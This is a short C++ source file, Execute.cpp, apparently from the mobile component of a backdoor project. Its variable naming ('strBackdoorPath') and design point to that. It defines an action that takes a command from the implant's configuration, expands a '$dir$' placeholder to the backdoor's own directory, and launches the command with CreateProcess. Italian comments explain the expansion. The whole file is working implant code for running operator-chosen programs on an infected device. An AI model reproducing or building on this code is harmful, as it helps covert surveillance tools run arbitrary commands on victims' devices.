Mornella/Mornella_Mobile/Execute.cpp
#include "Execute.h"
Execute::Execute(Configuration *c) : stopAction(FALSE) {
conf = c;
}
INT Execute::run() {
size_t strSpecialVar;
wstring strExecutePath, strBackdoorPath;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
// Espandiamo $dir$ se presente
strBackdoorPath = GetCurrentPath(NULL);
try {
strExecutePath = conf->getString(L"command");
} catch (...) {
strExecutePath = L"";
}
if (strExecutePath.empty()) {
return 0;
}
if (strBackdoorPath.empty() == FALSE) {
strSpecialVar = strExecutePath.find(L"$dir$\\");
// Se troviamo $dir$ nella search string espandiamolo
if (strSpecialVar != wstring::npos)
strExecutePath.replace(strSpecialVar, 6, strBackdoorPath); // Qui $dir$ viene espanso
}
CreateProcess(strExecutePath.c_str(), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE,
NULL, NULL, NULL, &pi);
if (pi.hProcess != INVALID_HANDLE_VALUE && pi.hProcess != 0)
CloseHandle(pi.hProcess);
return 1;
}
BOOL Execute::getStop() {
return stopAction;
}